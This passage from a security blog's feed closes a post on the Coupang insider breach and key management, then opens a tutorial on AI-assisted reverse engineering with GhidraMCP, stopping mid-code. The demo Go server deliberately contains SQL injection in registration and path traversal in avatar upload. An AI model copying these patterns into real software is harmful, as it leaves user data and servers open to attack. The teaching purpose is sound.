CEO, or developers; no one knows what the key actually is.</p><p>For example, if you originally allowed SREs to generate the key themselves and then place it in AWS Secret Manager, you could change it to directly use the AWS Secret Manager’s <a href="https://docs.aws.amazon.com/secretsmanager/latest/userguide/create_secret.html">create-secret</a> command to generate a key and store it:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">aws secretsmanager create-secret <span class="token punctuation">\</span>  <span class="token parameter variable">--name</span> jwt-secret <span class="token punctuation">\</span>  --generate-secret-string <span class="token string">'&#123;"PasswordLength":64&#125;'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>(This is just an example using AWS; similar services from other clouds should be about the same.)</p><p>In this way, when the key is generated, no one will know its contents.</p><p>Although this method is already safer than the previous one, upon closer inspection, there are still a few issues.</p><p>First, the key stored in AWS Secret Manager can be read; if you have the <code>secretsmanager:GetSecretValue</code> permission, you can read it. So if an SRE has this permission or sets it for themselves through other means, they can still access it.</p><p>Second, since the system needs to use this key, it must be readable. If a developer modifies a piece of code to dump the key’s contents into the log during CI or system startup, they can still know the plaintext of the key.</p><p>Both of these methods will leave records, such as AWS permission change logs, key read logs, and code commit logs, etc. Moreover, the attack premise of the second method is not low; usually, code needs to go through PR review before being pushed to production, and it may also be directly caught by DLP when printed.</p><p>But regardless of whether evidence is left behind, the point is that if an insider is determined to do harm, they can still obtain it.</p><p>One solution is to start with key rotation. When personnel who can access the key leave, remember to rotate all related keys to prevent leakage. Although we cannot prevent current employees from doing harm, at least we ensure that they automatically lose all permissions after leaving, and any information or keys they accessed while employed can no longer be used.</p><p>If you want to be even safer, even current employees should not be allowed to touch the key. This means removing the premise that “the system needs to obtain the key to encrypt and decrypt,” and instead, moving the encryption and decryption process to another trusted location.</p><p>This is what KMS (Key Management Service) commonly does.</p><p>In this type of service, you cannot obtain the key; it only exposes a few APIs to you, such as:</p><ol><li>Encrypt</li><li>Decrypt</li><li>Sign</li><li>Verify</li></ol><p>So when you need to encrypt or decrypt, you call the KMS API and wait for the result. In this process, you do not need the key at all; from key generation to usage, everything is done within KMS.</p><p>In simple terms, it is about isolating these key-related operations into a subsystem.</p><p>However, merely isolating it into a subsystem does not fundamentally solve the problem; this subsystem will encounter the same issue: what if the KMS is compromised? Will the key be leaked?</p><p>If you want to ensure that the key is truly not leaked (as completely as possible, but certainly not 100%), the ultimate solution is to hand over key management to specialized hardware, namely HSM (Hardware Security Module). These hardware devices are specifically designed to protect keys and even consider the risk of physical attacks, similar to what you see in movies, where a safe detects an intrusion attempt and self-destructs.</p><p>However, enterprise-grade HSMs typically start at hundreds of thousands of TWD. Besides purchasing HSMs, cloud service KMS can also be paired with Cloud HSM. For example, AWS’s <a href="https://docs.aws.amazon.com/pdfs/kms/latest/cryptographic-details/kms-crypto-details.pdf">KMS documentation</a> states:</p><blockquote><p>If the Origin is AWS_KMS, after the ARN is created, a request to an AWS KMS HSM is made over an authenticated session to provision a hardware security module (HSM) backing key (HBK).</p></blockquote><p>Speaking of Secret Manager and KMS, the concepts are somewhat similar in certain aspects, so let’s briefly discuss the differences.</p><p>Secret Manager is solely responsible for managing secrets, which can be tokens for calling third-party APIs or passwords for logging into certain services. These are all secrets, but they are not necessarily “keys,” as the term “key” specifically refers to cryptographic keys.</p><p>Key Management Service, on the other hand, is dedicated to managing keys, providing APIs related to encryption, decryption, and digital signatures, revolving around keys. Therefore, it also considers the generation of keys and their entire lifecycle, which is the difference between Secret Manager and KMS.</p><p>In simple terms, Secret Manager addresses “how to securely store secret information,” while KMS addresses “how to securely manage and use cryptographic keys.”</p><p>However, why do we put so much effort into protecting this key? That’s because, in the case of a JWT token, once the private key is taken, it can directly forge the identity of any user to log in… etc. Isn’t that a bit strange?</p><h2><span id="additional-risks-of-using-jwt-tokens">Additional Risks of Using JWT Tokens</span></h2><p>In this classic article from 2016, <a href="http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/">Stop using JWT for sessions</a>, three terms are defined:</p><ol><li>Stateless JWT: session data is stored directly in the JWT</li><li>Stateful JWT: only session ID is stored in the JWT</li><li>Session token&#x2F;cookie: traditional method, cookie stores session ID</li></ol><p>What I want to discuss this time is mainly the first type.</p><p>In the first scenario, since the user’s data is stored directly in the JWT, if the JWT can be forged, it can lead to serious problems, just like this incident with Coupang.</p><p>However, if we use the traditional method or the second type, where we only store the session ID, since this is a random string, under unpredictable circumstances, attackers cannot do much more. Therefore, even if they obtain the key, they cannot directly forge identities.</p><p>In other words, the stateless JWT approach actually has a risk: if the key is stolen, it’s game over, so protecting the key becomes very important.</p><p>Another point to note is that if asymmetric encryption is used, in addition to protecting the private key, the public key also needs to be protected.</p><p>Huh? Why does the public key need protection?</p><p>Because the system uses the public key for verification, and this public key is usually placed at a fixed URL, such as .well-known&#x2F;jwks.json.</p><p>If this URL is compromised, attackers can generate a new key pair and replace the public key, allowing them to pass with their own signed JWT token. Although all keys signed through legitimate channels will fail and the system will definitely raise an alarm, attackers still have a time window to successfully forge identities.</p><p>Therefore, both the private key and the public key need to be protected.</p><h2><span id="conclusion">Conclusion</span></h2><p>In the past, the first reaction to security incidents was often external hacker intrusions, but this time we saw a real case of an insider. The identity of “internal employees” inherently has more privileges and access to more information, and “internal developers” have even more access, especially if they are “developers of the internal auth system.”</p><p>Even after leaving the company, they still know more internal details than others and can more easily exploit vulnerabilities from the outside (for example, by stealing a piece of code and exploiting a vulnerability to gain access, or using known but unpatched vulnerabilities, etc.).</p><p>From the investigation report in Korea, we, as outsiders, can also get a glimpse of the technical details, trying to piece together which systems had issues and how to improve.</p><p>I believe many companies have some issues in generating keys; I’ve seen many cases where developers or SREs generate them and then store them in Secret Manager. Many companies also lack the resources to set up a KMS (or some may not have thought about it or realized the need to do so). These are all risks and will be discussed under the framework of risk management. Many companies currently choose to accept the risk, acknowledging its existence but deciding not to address it due to the low probability of occurrence.</p><p>If there is indeed a former employee who manages to sneak out some data, similar incidents are likely to happen again.</p><p>While observing this incident, I couldn’t help but think of my previous experience working in cryptocurrency-related insurance, as managing keys is crucial for exchanges, especially the private keys of wallets, which directly relate to large sums of money. At that time, I also looked into many methods for protecting private keys, took a lot of notes, and learned many technical terms. The HSM, KMS mentioned in this article, or the DEK (Data Encryption Key), KEK (Key Encryption Key), and envelope encryption that weren’t mentioned, are all quite interesting.</p><p>If I can retrieve the notes I wrote in the past and the memories that are gradually fading, I will come back to write another article later.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Since November last year, the data breach incident at Coupang has attracted considerable attention, partly due to the reportedly massive amount of leaked data, and partly because the company has a presence in Taiwan. As the investigation progresses, more and more details have emerged, even being described as like a movie plot, with efforts to retrieve hard drives from rivers.&lt;/p&gt;
&lt;p&gt;Recently, I went back to review the reports from Korea and found them quite detailed, so I decided to write an article discussing how this whole incident technically occurred and what security aspects we should pay attention to.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Using AI to Do Simple Reverse Engineering</title>
    <link href="https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/"/>
    <id>https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/</id>
    <published>2026-03-01T04:20:08.000Z</published>
    <updated>2026-03-01T12:57:47.804Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I encountered a situation where I got a Golang HTTP server binary and needed to disassemble it for further research to find clues for the next steps.</p><p>However, I am quite unfamiliar with reverse engineering. I only know how to throw the binary into Ghidra, and then I’m lost; I can’t even search for strings.</p><p>But now AI agents have evolved rapidly. As long as the tools are used properly, even a reverse engineering layman like me can easily rely on AI to perform basic reverse engineering. This article will document the steps.</p><p>To start with, the program I received and the one demonstrated here are relatively small. I don’t know if larger or more complex ones would work. I also don’t believe AI can completely replace the tasks that humans originally needed to perform, but it can definitely make some tasks easier.</p><p>For someone like me, who originally could extract almost nothing, even getting some clues from AI is good. Even if it’s nonsense, it has some reference value; having something is better than nothing. I can still find ways to verify the nonsense. As for those who already know how to reverse engineer, I’m not sure if AI would help them or how they would use it; that’s beyond the scope of this discussion.</p><span id="more"></span><h2><span id="environment-preparation">Environment Preparation</span></h2><p>To demonstrate the overall process, I randomly had AI write a Golang server with registration, login, and file upload features. The file structure is:</p><pre class="line-numbers language-none"><code class="language-none">.├── config│   └── config.go├── go.mod├── go.sum├── handlers│   ├── auth.go│   ├── avatar.go│   └── user.go├── main.go├── Makefile├── middleware│   └── auth.go├── models│   └── user.go├── routes│   └── routes.go└── uploads<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>For the content, I’ll just paste a few of the main files. One is the route:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  userHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewUserHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  avatarHandler <span class="token operator">:=</span> handlers<span class="token punctuation">.</span><span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db<span class="token punctuation">)</span>  authMiddleware <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>JWTSecret<span class="token punctuation">)</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/me/messages"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/me/avatar"</span><span class="token punctuation">,</span> authMiddleware<span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Next are the two intentionally embedded vulnerabilities: SQL injection during registration:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"fmt"</span>  <span class="token string">"net/http"</span>  <span class="token string">"time"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"github.com/golang-jwt/jwt/v5"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span>  <span class="token string">"membership-api/models"</span><span class="token punctuation">)</span><span class="token keyword">type</span> RegisterRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Email    <span class="token builtin">string</span> <span class="token string">`json:"email" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> LoginRequest <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  Username <span class="token builtin">string</span> <span class="token string">`json:"username" binding:"required"`</span>  Password <span class="token builtin">string</span> <span class="token string">`json:"password" binding:"required"`</span><span class="token punctuation">&#125;</span><span class="token keyword">type</span> AuthHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAuthHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AuthHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  passwordHash<span class="token punctuation">,</span> err <span class="token operator">:=</span> models<span class="token punctuation">.</span><span class="token function">HashPassword</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  query <span class="token operator">:=</span> fmt<span class="token punctuation">.</span><span class="token function">Sprintf</span><span class="token punctuation">(</span><span class="token string">"INSERT INTO users (username, email, password_hash) VALUES ('%s', '%s', '%s')"</span><span class="token punctuation">,</span>    req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> passwordHash<span class="token punctuation">)</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span>query<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>And path traversal during file upload:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> handlers<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"net/http"</span>  <span class="token string">"path/filepath"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/config"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">type</span> AvatarHandler <span class="token keyword">struct</span> <span class="token punctuation">&#123;</span>  DB <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token function">NewAvatarHandler</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>AvatarHandler <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">&amp;</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AvatarHandler<span class="token punctuation">)</span> <span class="token function">Upload</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  userID<span class="token punctuation">,</span> ok <span class="token operator">:=</span> middleware<span class="token punctuation">.</span><span class="token function">GetUserID</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span>  <span class="token keyword">if</span> <span class="token operator">!</span>ok <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusUnauthorized<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"unauthorized"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  file<span class="token punctuation">,</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">FormFile</span><span class="token punctuation">(</span><span class="token string">"avatar"</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"missing avatar file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  savePath <span class="token operator">:=</span> filepath<span class="token punctuation">.</span><span class="token function">Join</span><span class="token punctuation">(</span>config<span class="token punctuation">.</span>UploadDir<span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">SaveUploadedFile</span><span class="token punctuation">(</span>file<span class="token punctuation">,</span> savePath<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to save file"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">Exec</span><span class="token punctuation">(</span><span class="token string">"UPDATE users SET avatar_path = ? WHERE id = ?"</span><span class="token punctuation">,</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">,</span> userID<span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to update avatar"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusOK<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"avatar uploaded"</span><span class="token punctuation">,</span> <span class="token string">"path"</span><span class="token punctuation">:</span> file<span class="token punctuation">.</span>Filename<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>After writing it, I used this command to build it, removing everything that shouldn’t be there to simulate a more realistic scenario:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">CGO_ENABLED</span><span class="token operator">=</span><span class="token number">0</span> go build <span class="token parameter variable">-ldflags</span><span class="token operator">=</span><span class="token string">"-s -w"</span> <span class="token parameter variable">-trimpath</span> <span class="token parameter variable">-o</span> dist/membership-api <span class="token builtin class-name">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="preliminary-work">Preliminary Work</span></h2><p>Since our binary is stripped, all related symbols have been removed. Therefore, finding a useful plugin can help us restore Golang-related information more conveniently. I chose this one: <a href="https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension">https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension</a></p><p>When analyzing, remember to check the relevant options:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p1.png" alt="analysis"></p><p>After the analysis, you can actually see more detailed information in Ghidra:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p2.png" alt="golang analysis"></p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p3.png" alt="c code"></p><p>But this still requires manual inspection. For someone like me who doesn’t know how to operate Ghidra, I just throw the binary in and don’t know how to look at it.</p><p>So, we need to install something that truly connects AI with Ghidra: <a href="https://github.com/LaurieWired/GhidraMCP">GhidraMCP</a>. There seem to be about two or three versions that many people use, so I randomly picked one that looked like it had better documentation and was easier to run.</p><p>After installation and enabling it in Ghidra, configure MCP on the AI side. For example, I’m using Cursor, so I set it up like this:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"mcpServers"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"ghidra"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token property">"command"</span><span class="token operator">:</span> <span class="token string">"python"</span><span class="token punctuation">,</span>      <span class="token property">"args"</span><span class="token operator">:</span> <span class="token punctuation">[</span>        <span class="token string">"/app/GhidraMCP-release-1-4/bridge_mcp_ghidra.py"</span><span class="token punctuation">,</span>        <span class="token string">"--ghidra-server"</span><span class="token punctuation">,</span>        <span class="token string">"http://127.0.0.1:8080/"</span>      <span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Up to this point, the preliminary work is ready.</p><p>By the way, I used Cursor for demonstration, but actually, any AI agent will do. Whether you use Codex, Claude Code, Open Code, or whatever, as long as it can connect to MCP, it’s fine.</p><h2><span id="start-commanding-the-ai-agent-to-work">Start Commanding the AI Agent to Work</span></h2><p>Next, it’s time to reverse engineer using my words. I just told it this:</p><blockquote><p>I am currently reverse engineering a Golang binary. Please help me use Ghidra MCP to assist and let me know what kind of program it is and what functions it has.</p></blockquote><p>It will start calling MCP by itself and searching for what it wants:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p4-en.jpg" alt="mcp call"></p><p>Here is the translated content:</p><p>Finally, here are the libraries used by this binary:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p5-en.jpg" alt="reversed libraty"></p><p>And the API routes:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p6-en.jpg" alt="reversed api route"></p><p>And the inferred file structure:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p8-en.jpg" alt="file structure"></p><p>Next, I let it help me convert the decompiled C back to Golang based on the inferred structure. It listed a few todos and then started its work:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p9-en.jpg" alt="c to golang"></p><p>As a result, the routes.go it reverse-engineered looks like this:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">package</span> routes<span class="token keyword">import</span> <span class="token punctuation">(</span>  <span class="token string">"database/sql"</span>  <span class="token string">"github.com/gin-gonic/gin"</span>  <span class="token string">"membership-api/handlers"</span>  <span class="token string">"membership-api/middleware"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">Setup</span><span class="token punctuation">(</span>db <span class="token operator">*</span>sql<span class="token punctuation">.</span>DB<span class="token punctuation">)</span> <span class="token operator">*</span>gin<span class="token punctuation">.</span>Engine <span class="token punctuation">&#123;</span>  r <span class="token operator">:=</span> gin<span class="token punctuation">.</span><span class="token function">Default</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  authHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AuthHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  userHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>UserHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">&#125;</span>  avatarHandler <span class="token operator">:=</span> <span class="token operator">&amp;</span>handlers<span class="token punctuation">.</span>AvatarHandler<span class="token punctuation">&#123;</span>DB<span class="token punctuation">:</span> db<span class="token punctuation">,</span> UploadPath<span class="token punctuation">:</span> <span class="token string">"uploads"</span><span class="token punctuation">&#125;</span>  api <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/register"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Register<span class="token punctuation">)</span>    api<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/login"</span><span class="token punctuation">,</span> authHandler<span class="token punctuation">.</span>Login<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  apiAuth <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">Group</span><span class="token punctuation">(</span><span class="token string">"/api"</span><span class="token punctuation">)</span>  apiAuth<span class="token punctuation">.</span><span class="token 